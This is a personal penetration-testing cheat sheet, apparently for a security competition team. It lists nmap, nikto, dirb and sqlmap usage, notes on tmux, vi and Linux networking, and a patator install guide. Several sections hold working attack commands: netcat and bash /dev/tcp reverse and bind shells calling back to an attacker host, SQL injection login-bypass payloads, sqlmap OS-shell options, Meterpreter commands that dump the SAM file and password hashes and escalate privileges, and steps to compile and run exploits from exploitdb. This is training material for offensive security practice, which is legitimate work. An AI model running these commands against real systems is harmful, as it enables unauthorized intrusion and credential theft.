Printable Cheat Sheets

netcat - https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

Reverse shell: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Metasploit Payloads: https://netsec.ws/?p=331

LU Links

General https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#reverse-shells (Do not print) (Copy some from here to the document below)

Highon.coffee various cheatsheets: https://highon.coffee/blog/

NMAP:

- nmap -Pn -sV -sC -v -p- X.X.X.X
    - -Pn = no host discovery
    - -sV = service enumeration
    - -sC = script scan
    - -v = verbosity
    - -p- = full port scan, by default nmap does a top 1000 scan

- nmap -sV -v -sC -p 80,443,8080,8081,8443 --open -oA FILENAME
    - --open only returns open ports
    - -oA = outputs to 3 formats(put all in google drive)

DIRB:

./dirb URL WORDLIST –o OUTFILE.txt

Add –x if the site uses some kind of extension, ex (-x .html,php, etc...)

'n' -> Go to next directory.

'q' -> Stop scan. (Saving state for resume)

'r' -> Remaining scan stats.

```
-N <nf_code>: Ignore responses with this HTTP code.
Can use to ignore 301
```

- gobuster -u HOST -w /usr/share/wordlists/dirb/common.txt

NIKTO:

- SPACE - Report current scan status

```
nikto -h localhost -p 80 -useproxy
```

```
nikto -h 192.168.0.1 -p 80,88,443
```

```
nikto -h input_file
```

Valid Input Host File Contents

```
192.168.0.1:80
http://192.168.0.1:8080/
192.168.0.3
```

```
nmap -p80 192.168.0.0/24 -oG file | nikto -h file
```

- v - Turn verbose mode on/off
  - d - Turn debug mode on/off
  - e - Turn error reporting on/off
  - p - Turn progress reporting on/off
  - r - Turn redirect display on/off
  - c - Turn cookie display on/off
  - o - Turn OK display on/off
  - a - Turn auth display on/off
  - q - Quit
  - N - Next host
  - P - Pause

SQLMAP:

- sqlmap -u "http://testsite.com/login.php"
    - -u = host
    - --dbs = list all databases
    - -D site_db --tables = list all tables in a specific database
    - -D site_db -T users --dump = dump contents of a specific database table in a specific database
    - --columns = list all columns
    - -C username,password --dump = dump all from specific columns
- sqlmap -u "http://testsite.com/login.php" –method "POST" –data "username=admin&password=admin&submit=Submit" -D social_mccodes -T users –dump
    - rather than feeding it a post request from burp
- sqlmap --dbms=mysql -u "http://testsite.com/login.php" --os-shell
    - os shell
- sqlmap --dbms=mysql -u "http://testsite.com/login.php" --sql-shell
    - sql shell

NETCAT:

- nc –lvp 4444 = listener on host
- nc x.x.x.x 4444 -e /bin/bash = connection to our host box
- bash -i >& /dev/tcp/192.168.100.113/4444 0>&1 = bash reverse shell
- BIND SHELL:
    - nc -lvp 4444 -e /bin.sh = what will be put on the target
    - nc x.x.x.x 4444 = what will be put on the host machine, connects to the bind port on the target computer
- FILE TRANSFER
    - nc -lvp 4444 > out.file - target
    - nc -w 3 x.x.x.x 4444 < out.file - host, type target IP

SQL INJECTION/VULN COMMANDS:

- The initial SQL command is normally SELECT * from USERS where username = '' and password = ''
- Try putting a ' in the name field to see if we can get a SQL syntax error, if so that normally means we have found a SQL injection, if we put in '', then we get no error, 3 we get error, 4 no error
- ' or 1=1 -- ,<---- make sure there is a space after the space, in microsoft SQL, there is no need for a space…….. or ' or '1=1 in this case the latter works rather than the first option that does not have a space
    - SELECT * from USERS where username = 'ryan' and password = '' or '1=1'
    - SELECT * from USERS where username = 'ryan' and password = '' or 1=1 -- '
- A UNION statement combines results of 2 or more SELECT statements, however both results must have the same amount of columns. You can do a select statement such as SELECT *,null,null which forces there to be 3 columns of the result, then 2 columns of null. May have to reorder the * and nulls depending on what it returns. Maybe a column in the first table isnt displayed, so we have to test a couple if we don’t get anything back
- Try a UNION ALL (look up union vs union all)
- ORDER BY can determine the number of columns, try order by 1 for column 1, order by 2 for column 2

METASPLOIT COMMANDS AND AUXILIARY MODULES:

Auxilary Metasploit Modules

COMMAND	DESCRIPTION
use auxiliary/scanner/http/dir_scanner	Metasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscan	Metasploit JBOSS vulnerability scanner

use auxiliary/scanner/mssql/mssql_login	Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version	Metasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_login	Metasploit Oracle Login Module

Payloads

set payload windows/meterpreter/reverse_tcp Windows reverse tcp payload

set payload windows/vncinject/reverse_tcp Meterpreter Windows VNC

set ViewOnly false Payload

set payload linux/meterpreter/reverse_tcp Meterpreter Linux Reverse Payload

Meterpreter Commands

upload file c:\\windows	Meterpreter upload file to Windows target
download c:\\windows\\repair\\sam /tmp	Meterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmp	Meterpreter download file from Windows target
execute -f c:\\windows\temp\ exploit.exe	Meterpreter run .exe on target - handy for executing uploaded exploits
execute -f cmd -c	Creates new channel with cmd shell
ps	Meterpreter show processes
shell	Meterpreter get shell on the target
getsystem	Meterpreter attempts priviledge escalation the target
hashdump	Meterpreter attempts to dump the hashes on the target

portfwd add –l 3389 –p 3389 –r target	Meterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target	Meterpreter delete port forward

GENERAL LINUX:

Searchsploit(search entire exploitdb):

- cd /usr/share/exploitdb
- ./searchsploit drupal
- copy the usr/share/exploitdb/exploits/php/webapps/xxxxx.c (may be rb or py or just a txt)
- then gcc -c xxxxx.c -o drupal_exploit
- ./drupal_exploit to run

tar decompress:

- tar xzf abc.tar.gz

tmux commands:

(tmux a to attach to an existing tmux session)

- CTRL+b:
    - d to detach
    - c makes a window
    - " splits horizontal, % for vertical split
    - arrow keys moves current screen, can also type in number or name of screen
    - & kill window, x will kill a current pane
    - [means free scroll, q to exit
    - z bring screen to foreground, and also reverses it

vi commands:

- :wq

- lowercase .i for insert
- v to mark, use arrow keys to drag
- y to copy, d to cut, p to paste
- w to jump words, b for back
- . Will repeat last command
- u will undo
- CTRL-r will redo (undo an undo)
- / will search forward
- ? searches backwards

Networking on linux:

/etc/network/interfaces.d/eth0 or whatever specific interface you want

ifup/ifdown/ifquery

- ifup eth0 brings eth0 up
- ifdown eth0 brings eth0 down
- ifquery -l queries for all auto started interfaces
- ifquery --state queries for state of interfaces, if its not there its not up

service network-manager restart/start/stop will stop the network manager service...../etc/NetworkManager/... is where various config files for it are located

PATATOR GUIDE(need to test module usage for proper install)(is default on kali, but may not be on nationals boxes):

- git clone https://github.com/lanjelot/patator.git
- chmod +x patator.py
- ./patator.py
- If you get an error to do with pysnmp, just pip install pysnmp and try again
- pip install paramiko pycurl ajpy pyopenssl cx_Oracle mysqlclient psycopg2-binary pycrypto dnspython IPy pysnmp pyasn1 impacket pysqlcipher
    - this may error out, but can be individually run on each req, check python version??? If 3 get rid of impacket and pysqlcipher
- Best usage examples: https://github.com/lanjelot/patator